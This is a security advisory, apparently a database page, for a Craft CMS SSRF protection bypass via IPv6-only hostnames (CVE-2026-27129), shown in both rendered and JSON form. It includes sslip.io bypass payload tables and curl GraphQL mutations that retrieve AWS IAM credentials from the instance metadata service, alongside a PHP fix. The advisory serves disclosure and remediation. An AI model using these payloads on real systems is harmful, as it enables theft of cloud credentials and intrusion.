GHSA-V2GC-RM6G-WRW9
Vulnerability from github – Published: 2026-02-24 15:51 – Updated: 2026-02-24 15:51The SSRF validation in Craft CMS’s GraphQL Asset mutation uses gethostbyname(), which only resolves IPv4 addresses. When a hostname has only AAAA (IPv6) records, the function returns the hostname string itself, causing the blocklist comparison to always fail and completely bypassing SSRF protection.
This is a bypass of the security fix for CVE-2025-68437 (GHSA-x27p-wfqw-hfcc).
Required Permissions
Exploitation requires GraphQL schema permissions for:
- Edit assets in the <VolumeName> volume
- Create assets in the <VolumeName> volume
These permissions may be granted to: - Authenticated users with appropriate GraphQL schema access - Public Schema (if misconfigured with write permissions)
Technical Details
Root Cause
From PHP documentation: "gethostbyname - Get the IPv4 address corresponding to a given Internet host name"
When no IPv4 (A record) exists, gethostbyname() returns the hostname string unchanged.
Bypass Mechanism
+-----------------------------------------------------------------------------+
| Step 1: Attacker provides URL |
| http://fd00-ec2--254.sslip.io/latest/meta-data/ |
+-----------------------------------------------------------------------------+
| Step 2: Validation calls gethostbyname('fd00-ec2--254.sslip.io') |
| -> No A record exists |
| -> Returns: "fd00-ec2--254.sslip.io" (string, not an IP!) |
+-----------------------------------------------------------------------------+
| Step 3: Blocklist check |
| in_array("fd00-ec2--254.sslip.io", ['169.254.169.254', ...]) |
| -> FALSE (string != IPv4 addresses) |
| -> VALIDATION PASSES |
+-----------------------------------------------------------------------------+
| Step 4: Guzzle makes HTTP request |
| -> Resolves DNS (including AAAA records) |
| -> Gets IPv6: fd00:ec2::254 |
| -> Connects to AWS IMDS IPv6 endpoint |
| -> CREDENTIALS STOLEN |
+-----------------------------------------------------------------------------+
Bypass Payloads
Blocked IPv4 Addresses and Their IPv6 Bypass Equivalents
| Cloud Provider | Blocked IPv4 | IPv6 Equivalent | Bypass Payload |
|---|---|---|---|
| AWS EC2 IMDS | 169.254.169.254 |
fd00:ec2::254 |
http://fd00-ec2--254.sslip.io/ |
| AWS ECS | 169.254.170.2 |
fd00:ec2::254 (via IMDS) |
http://fd00-ec2--254.sslip.io/ |
| Google Cloud GCP | 169.254.169.254 |
fd20:ce::254 |
http://fd20-ce--254.sslip.io/ |
| Azure | 169.254.169.254 |
No IPv6 endpoint | N/A |
| Alibaba Cloud | 100.100.100.200 |
No documented IPv6 | N/A |
| Oracle Cloud | 192.0.0.192 |
No documented IPv6 | N/A |
Additional IPv6 Internal Service Bypass Payloads
| Target | IPv6 Address | Bypass Payload |
|---|---|---|
| IPv6 Loopback | ::1 |
http://0-0-0-0-0-0-0-1.sslip.io/ |
| AWS NTP Service | fd00:ec2::123 |
http://fd00-ec2--123.sslip.io/ |
| AWS DNS Service | fd00:ec2::253 |
http://fd00-ec2--253.sslip.io/ |
| IPv4-mapped IPv6 | ::ffff:169.254.169.254 |
http://0-0-0-0-0-0-ffff-a9fe-a9fe.sslip.io/ |
Steps to Reproduce
Step 1: Verify DNS Resolution
# Verify the hostname has no IPv4 record (what gethostbyname sees)
$ dig fd00-ec2--254.sslip.io A +short
# (empty - no IPv4 record)
# Verify the hostname has IPv6 record (what Guzzle/curl uses)
$ dig fd00-ec2--254.sslip.io AAAA +short
fd00:ec2::254
Step 2: Enumerate AWS IAM Role Name
curl -sk "https://TARGET/index.php?p=admin/actions/graphql/api" \
-H "Content-Type: application/json" \
-H "Authorization: Bearer YOUR_GRAPHQL_TOKEN" \
-d '{
"query": "mutation { save_photos_Asset(_file: { url: \"http://fd00-ec2--254.sslip.io/latest/meta-data/iam/security-credentials/\", filename: \"role.txt\" }) { id } }"
}'
Step 3: Retrieve AWS Credentials
# Replace ROLE_NAME with the role discovered in Step 2
curl -sk "https://TARGET/index.php?p=admin/actions/graphql/api" \
-H "Content-Type: application/json" \
-H "Authorization: Bearer YOUR_GRAPHQL_TOKEN" \
-d '{
"query": "mutation { save_photos_Asset(_file: { url: \"http://fd00-ec2--254.sslip.io/latest/meta-data/iam/security-credentials/ROLE_NAME\", filename: \"creds.json\" }) { id } }"
}'
Step 4: Access Saved Credentials
The credentials will be saved to the asset volume (e.g., /userphotos/photos/creds.json).
Attack Scenario
- Attacker finds Craft CMS instance with GraphQL asset mutations enabled
- Attacker sends mutation with
url: "http://fd00-ec2--254.sslip.io/latest/meta-data/iam/security-credentials/" - Error message or saved file reveals IAM role name
- Attacker retrieves credentials via second mutation
- Attacker uses credentials to access AWS services
- Attacker can now achieve code execution by creating new EC2 instances with their SSH key
Remediation
Replace gethostbyname() with dns_get_record() to check both IPv4 and IPv6:
// Resolve both IPv4 and IPv6 addresses
$records = @dns_get_record($hostname, DNS_A | DNS_AAAA);
if ($records === false) {
$records = [];
}
// Blocked IPv6 metadata prefixes
$blockedIPv6Prefixes = [
'fd00:ec2::', // AWS IMDS, DNS, NTP
'fd20:ce::', // GCP Metadata
'::1', // Loopback
'fe80:', // Link-local
'::ffff:', // IPv4-mapped IPv6
];
foreach ($records as $record) {
// Check IPv4 (existing logic)
if (isset($record['ip']) && in_array($record['ip'], $blockedIPv4)) {
return false;
}
// Check IPv6 (NEW)
if (isset($record['ipv6'])) {
foreach ($blockedIPv6Prefixes as $prefix) {
if (str_starts_with($record['ipv6'], $prefix)) {
return false;
}
}
}
}
Additional Mitigations
| Mitigation | Description |
|---|---|
| Block wildcard DNS services | Block nip.io, sslip.io, xip.io suffixes |
Use dns_get_record() |
Resolves both IPv4 and IPv6 |
Resources
- https://github.com/craftcms/cms/commit/2825388b4f32fb1c9bd709027a1a1fd192d709a3
- PHP: gethostbyname - "Get the IPv4 address corresponding to a given Internet host name"
- GHSA-x27p-wfqw-hfcc - Original SSRF vulnerability (CVE-2025-68437)
- AWS IMDS IPv6 Documentation
- GCP Metadata Server Documentation
- PayloadsAllTheThings - SSRF Cloud Instances
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 5.8.22"
},
"package": {
"ecosystem": "Packagist",
"name": "craftcms/cms"
},
"ranges": [
{
"events": [
{
"introduced": "5.0.0-RC1"
},
{
"fixed": "5.8.23"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.16.18"
},
"package": {
"ecosystem": "Packagist",
"name": "craftcms/cms"
},
"ranges": [
{
"events": [
{
"introduced": "3.5.0"
},
{
"fixed": "4.16.19"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-27129"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-02-24T15:51:07Z",
"nvd_published_at": "2026-02-24T03:16:02Z",
"severity": "MODERATE"
},
"details": "The SSRF validation in Craft CMS\u2019s GraphQL Asset mutation uses `gethostbyname()`, which only resolves IPv4 addresses. When a hostname has only AAAA (IPv6) records, the function returns the hostname string itself, causing the blocklist comparison to always fail and completely bypassing SSRF protection.\n\nThis is a bypass of the security fix for CVE-2025-68437 ([GHSA-x27p-wfqw-hfcc](https://github.com/craftcms/cms/security/advisories/GHSA-x27p-wfqw-hfcc)).\n\n## Required Permissions\n\nExploitation requires GraphQL schema permissions for:\n- Edit assets in the `\u003cVolumeName\u003e` volume\n- Create assets in the `\u003cVolumeName\u003e` volume\n\nThese permissions may be granted to:\n- Authenticated users with appropriate GraphQL schema access\n- Public Schema (if misconfigured with write permissions)\n\n---\n\n## Technical Details\n\n### Root Cause\n\nFrom PHP documentation: *\"gethostbyname - Get the IPv4 address corresponding to a given Internet host name\"*\n\nWhen no IPv4 (A record) exists, `gethostbyname()` returns the hostname string unchanged.\n\n### Bypass Mechanism\n\n```\n+-----------------------------------------------------------------------------+\n| Step 1: Attacker provides URL |\n| http://fd00-ec2--254.sslip.io/latest/meta-data/ |\n+-----------------------------------------------------------------------------+\n| Step 2: Validation calls gethostbyname(\u0027fd00-ec2--254.sslip.io\u0027) |\n| -\u003e No A record exists |\n| -\u003e Returns: \"fd00-ec2--254.sslip.io\" (string, not an IP!) |\n+-----------------------------------------------------------------------------+\n| Step 3: Blocklist check |\n| in_array(\"fd00-ec2--254.sslip.io\", [\u0027169.254.169.254\u0027, ...]) |\n| -\u003e FALSE (string != IPv4 addresses) |\n| -\u003e VALIDATION PASSES |\n+-----------------------------------------------------------------------------+\n| Step 4: Guzzle makes HTTP request |\n| -\u003e Resolves DNS (including AAAA records) |\n| -\u003e Gets IPv6: fd00:ec2::254 |\n| -\u003e Connects to AWS IMDS IPv6 endpoint |\n| -\u003e CREDENTIALS STOLEN |\n+-----------------------------------------------------------------------------+\n```\n\n---\n\n## Bypass Payloads\n\n### Blocked IPv4 Addresses and Their IPv6 Bypass Equivalents\n\n| Cloud Provider | Blocked IPv4 | IPv6 Equivalent | Bypass Payload |\n|----------------|--------------|-----------------|----------------|\n| **AWS EC2 IMDS** | `169.254.169.254` | `fd00:ec2::254` | `http://fd00-ec2--254.sslip.io/` |\n| **AWS ECS** | `169.254.170.2` | `fd00:ec2::254` (via IMDS) | `http://fd00-ec2--254.sslip.io/` |\n| **Google Cloud GCP** | `169.254.169.254` | `fd20:ce::254` | `http://fd20-ce--254.sslip.io/` |\n| **Azure** | `169.254.169.254` | No IPv6 endpoint | N/A |\n| **Alibaba Cloud** | `100.100.100.200` | No documented IPv6 | N/A |\n| **Oracle Cloud** | `192.0.0.192` | No documented IPv6 | N/A |\n\n### Additional IPv6 Internal Service Bypass Payloads\n\n| Target | IPv6 Address | Bypass Payload |\n|--------|--------------|----------------|\n| **IPv6 Loopback** | `::1` | `http://0-0-0-0-0-0-0-1.sslip.io/` |\n| **AWS NTP Service** | `fd00:ec2::123` | `http://fd00-ec2--123.sslip.io/` |\n| **AWS DNS Service** | `fd00:ec2::253` | `http://fd00-ec2--253.sslip.io/` |\n| **IPv4-mapped IPv6** | `::ffff:169.254.169.254` | `http://0-0-0-0-0-0-ffff-a9fe-a9fe.sslip.io/` |\n\n---\n\n## Steps to Reproduce\n\n### Step 1: Verify DNS Resolution\n\n```bash\n# Verify the hostname has no IPv4 record (what gethostbyname sees)\n$ dig fd00-ec2--254.sslip.io A +short\n# (empty - no IPv4 record)\n\n# Verify the hostname has IPv6 record (what Guzzle/curl uses)\n$ dig fd00-ec2--254.sslip.io AAAA +short\nfd00:ec2::254\n```\n\n### Step 2: Enumerate AWS IAM Role Name\n\n```bash\ncurl -sk \"https://TARGET/index.php?p=admin/actions/graphql/api\" \\\n -H \"Content-Type: application/json\" \\\n -H \"Authorization: Bearer YOUR_GRAPHQL_TOKEN\" \\\n -d \u0027{\n \"query\": \"mutation { save_photos_Asset(_file: { url: \\\"http://fd00-ec2--254.sslip.io/latest/meta-data/iam/security-credentials/\\\", filename: \\\"role.txt\\\" }) { id } }\"\n }\u0027\n```\n\n### Step 3: Retrieve AWS Credentials\n\n```bash\n# Replace ROLE_NAME with the role discovered in Step 2\ncurl -sk \"https://TARGET/index.php?p=admin/actions/graphql/api\" \\\n -H \"Content-Type: application/json\" \\\n -H \"Authorization: Bearer YOUR_GRAPHQL_TOKEN\" \\\n -d \u0027{\n \"query\": \"mutation { save_photos_Asset(_file: { url: \\\"http://fd00-ec2--254.sslip.io/latest/meta-data/iam/security-credentials/ROLE_NAME\\\", filename: \\\"creds.json\\\" }) { id } }\"\n }\u0027\n```\n\n### Step 4: Access Saved Credentials\n\nThe credentials will be saved to the asset volume (e.g., `/userphotos/photos/creds.json`).\n\n---\n\n### Attack Scenario\n\n1. Attacker finds Craft CMS instance with GraphQL asset mutations enabled\n2. Attacker sends mutation with `url: \"http://fd00-ec2--254.sslip.io/latest/meta-data/iam/security-credentials/\"`\n3. Error message or saved file reveals IAM role name\n4. Attacker retrieves credentials via second mutation\n5. Attacker uses credentials to access AWS services\n6. **Attacker can now achieve code execution by creating new EC2 instances with their SSH key**\n\n---\n\n## Remediation\n\nReplace `gethostbyname()` with `dns_get_record()` to check both IPv4 and IPv6:\n\n```php\n// Resolve both IPv4 and IPv6 addresses\n$records = @dns_get_record($hostname, DNS_A | DNS_AAAA);\nif ($records === false) {\n $records = [];\n}\n\n// Blocked IPv6 metadata prefixes\n$blockedIPv6Prefixes = [\n \u0027fd00:ec2::\u0027, // AWS IMDS, DNS, NTP\n \u0027fd20:ce::\u0027, // GCP Metadata\n \u0027::1\u0027, // Loopback\n \u0027fe80:\u0027, // Link-local\n \u0027::ffff:\u0027, // IPv4-mapped IPv6\n];\n\nforeach ($records as $record) {\n // Check IPv4 (existing logic)\n if (isset($record[\u0027ip\u0027]) \u0026\u0026 in_array($record[\u0027ip\u0027], $blockedIPv4)) {\n return false;\n }\n\n // Check IPv6 (NEW)\n if (isset($record[\u0027ipv6\u0027])) {\n foreach ($blockedIPv6Prefixes as $prefix) {\n if (str_starts_with($record[\u0027ipv6\u0027], $prefix)) {\n return false;\n }\n }\n }\n}\n```\n\n### Additional Mitigations\n\n| Mitigation | Description |\n|------------|-------------|\n| Block wildcard DNS services | Block nip.io, sslip.io, xip.io suffixes |\n| Use `dns_get_record()` | Resolves both IPv4 and IPv6 |\n\n---\n\n## Resources\n\n- https://github.com/craftcms/cms/commit/2825388b4f32fb1c9bd709027a1a1fd192d709a3\n- [PHP: gethostbyname](https://www.php.net/manual/en/function.gethostbyname.php) - \"Get the **IPv4 address** corresponding to a given Internet host name\"\n- [GHSA-x27p-wfqw-hfcc](https://github.com/advisories/GHSA-x27p-wfqw-hfcc) - Original SSRF vulnerability (CVE-2025-68437)\n- [AWS IMDS IPv6 Documentation](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instancedata-data-retrieval.html)\n- [GCP Metadata Server Documentation](https://cloud.google.com/compute/docs/metadata/querying-metadata)\n- [PayloadsAllTheThings - SSRF Cloud Instances](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Request%20Forgery/SSRF-Cloud-Instances.md)",
"id": "GHSA-v2gc-rm6g-wrw9",
"modified": "2026-02-24T15:51:07Z",
"published": "2026-02-24T15:51:07Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/craftcms/cms/security/advisories/GHSA-v2gc-rm6g-wrw9"
},
{
"type": "WEB",
"url": "https://github.com/craftcms/cms/security/advisories/GHSA-x27p-wfqw-hfcc"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-27129"
},
{
"type": "WEB",
"url": "https://github.com/craftcms/cms/commit/2825388b4f32fb1c9bd709027a1a1fd192d709a3"
},
{
"type": "PACKAGE",
"url": "https://github.com/craftcms/cms"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N/E:P",
"type": "CVSS_V4"
}
],
"summary": "Craft CMS: Cloud Metadata SSRF Protection Bypass via IPv6 Resolution"
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.